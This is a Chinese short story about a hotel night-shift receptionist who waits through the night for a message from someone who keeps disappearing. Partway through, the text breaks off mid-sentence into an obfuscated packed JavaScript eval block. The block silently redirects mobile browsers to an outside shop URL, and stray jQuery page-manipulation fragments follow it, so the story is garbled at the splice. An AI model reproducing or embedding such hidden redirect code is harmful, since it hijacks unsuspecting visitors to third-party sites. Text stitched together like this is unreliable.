晚上九点，夜班开始。林深接过交班本低头签字，前台电话响个不停，入住高峰刚刚开始。大厅里拖着行李箱的客人一波接着一波——有人办理入住，有人续住，有人问早餐，有人问停车场，有人抱怨房价，有人抱怨天气。酒店像一台巨大的机器，到了晚上准时运转起来。林深熟练地敲击键盘，录入信息，打印单据，递房卡，脸上挂着职业化的笑容。没人知道她在想什么，其实连她自己都不知道。
晚上十点半，大厅终于稍微安静了一些。她习惯性拿起手机，没有消息。聊天框停留在五天前，最后一句是她发的：“最近很忙吗？”没有回复。林深看了几秒，关掉屏幕，继续工作。这种事情最近越来越常见，刚开始的时候她会难受，后来会胡思乱想，再后来似乎已经有些麻木了。可每次拿起手机的时候，心里还是会下意识期待一下——万一呢。
晚上十一点，一个男人拖着行李箱走进来，看起来像刚下飞机，满脸疲惫。
“还有房吗？”
“有。”
“多少钱？”
林深报了价格。男人犹豫了一下：“网上是不是便宜一点？”林深笑了笑：“您可以看看。”男人低头翻了半天，最后发现价格差不多，索性直接办理入住。签字，刷卡，拿房卡，整个过程不到三分钟。客人离开以后，林深低头算了算，这一单又有提成。以前开店的时候，她总觉得赚钱是一件很复杂的事——装修、选址、人工、原料、房租，哪一样都压得人喘不过气。现在忽然发现，原来赚钱也可以很简单，把眼前的事情做好就会有收入，不用担心明天会不会突然少十几万，不用担心供货商打电话，不用担心店里一天没人。这种稳定，曾经是她最看不上的东西，现在却觉得珍贵。
凌晨一点，入住高峰结束，大厅重新安静下来。同事从后面走出来，手里拿着两桶泡面。
“吃吗？”
“吃。”
林深接过来，两个人坐在员工区，电视里放着深夜节目，谁也没认真看。同事吸了一口面，忽然问：“你是不是有心事？”
林深抬头：“为什么这么问？”
“因为你老看手机。”
林深笑了一下：“有吗？”
“有，平均五分钟一次。”
“这么夸张？”
“比监控刷新还勤。”
林深低头吃面，没接话。同事看了她一会儿，忽然笑了：“等人消息？”
“不是。”
“我不信。”
“真的不是。”
“那你给我看看手机。”
林深差点被面呛到：“神经病。”同事哈哈大笑，也没再追问。酒店这种地方，每个人都有自己的故事——有些人离婚，有些人欠债，有些人家里出事，有些人失恋。大家表面看起来都一样，穿着制服，站在前台，微笑服务，可谁心里没藏点东西。
凌晨两点，同事去巡楼，大厅只剩林深一个人。空调发出轻微的声音，自动门偶尔打开又慢慢关上。外面路灯亮着，城市已经睡着了。她打开电脑继续剪视频，时间轴一点点拖动，画面拼接，音乐调整，字幕修改。这些事情最近越来越熟练，有时候她甚至觉得自己不是在剪视频，是在整理情绪——把那些说不出口的话，藏进镜头里，藏进文字里，藏进背景音乐里。
凌晨三点，视频导出完成。她上传后台等待审核，然后习惯性打开评论区。最新一条评论写着：“为什么越长大越觉得孤独？”林深盯着那句话看了很久，没有回复，因为她也不知道答案。有些问题，她自己都还没弄明白。手机安静地放在桌边，一直没有亮。
凌晨四点，视频审核通过，播放量开始慢慢上涨。几十，几百，上千，后台不断刷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704034|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
新，评论越来越多。有人说失恋，有人说家庭，有人说工作，有人说活得很累。林深一条一条往下翻，有时候觉得很奇怪——这些陌生人明明不认识自己，却愿意把最难受的事情说出来，反而是最在乎的人，越来越沉默。
凌晨五点，早餐部开始准备营业，后厨灯亮起来，保洁阿姨推着车从大厅经过，天空慢慢泛白。林深低头看了一眼手机，依然没有消息。她忽然觉得有些可笑，五天前没有，今天大概率也不会有，可自己还是会看，还是会等，像一种改不掉的习惯。
就在这时，手机忽然震动了一下。林深愣住，心跳莫名快了一拍。她拿起手机，屏幕亮起，那个熟悉的头像终于出现。只有一句话：“刚忙完。”没有解释，没有问候，没有前因后果，就四个字。
林深盯着屏幕看了很久。大厅很安静，外面天快亮了。她原本有很多话想说——为什么这么久不出现，为什么不回消息，为什么总是这样。可到了最后，她只发出去一句：“嗯。”消息发送成功，然后聊天框重新安静下来。过了十分钟没有回复，二十分钟没有，半小时还是没有。
林深看着屏幕忽然笑了一下，说不上失望也说不上难过，更像一种习惯性的无力感。她放下手机，继续整理报表，打印夜审数据，核对入住名单，准备交班。太阳慢慢升起来，城市开始苏醒，第一班地铁已经开出，早餐厅逐渐热闹，客人陆续下楼，前台重新忙碌起来。
六点五十分，视频后台弹出一条提醒，昨晚发的视频播放量破万。评论区有人留言：“如果一个人总是消失，你为什么还不走？”林深盯着那句话很久没有动，最后回复了一句：“因为我总觉得，下次会不一样。”发完以后她关掉后台，抬头看向酒店大门。晨光透过玻璃照进大厅，很亮，可她心里那块地方，依旧停留在凌晨，停留在那句迟到了五天的“刚忙完”。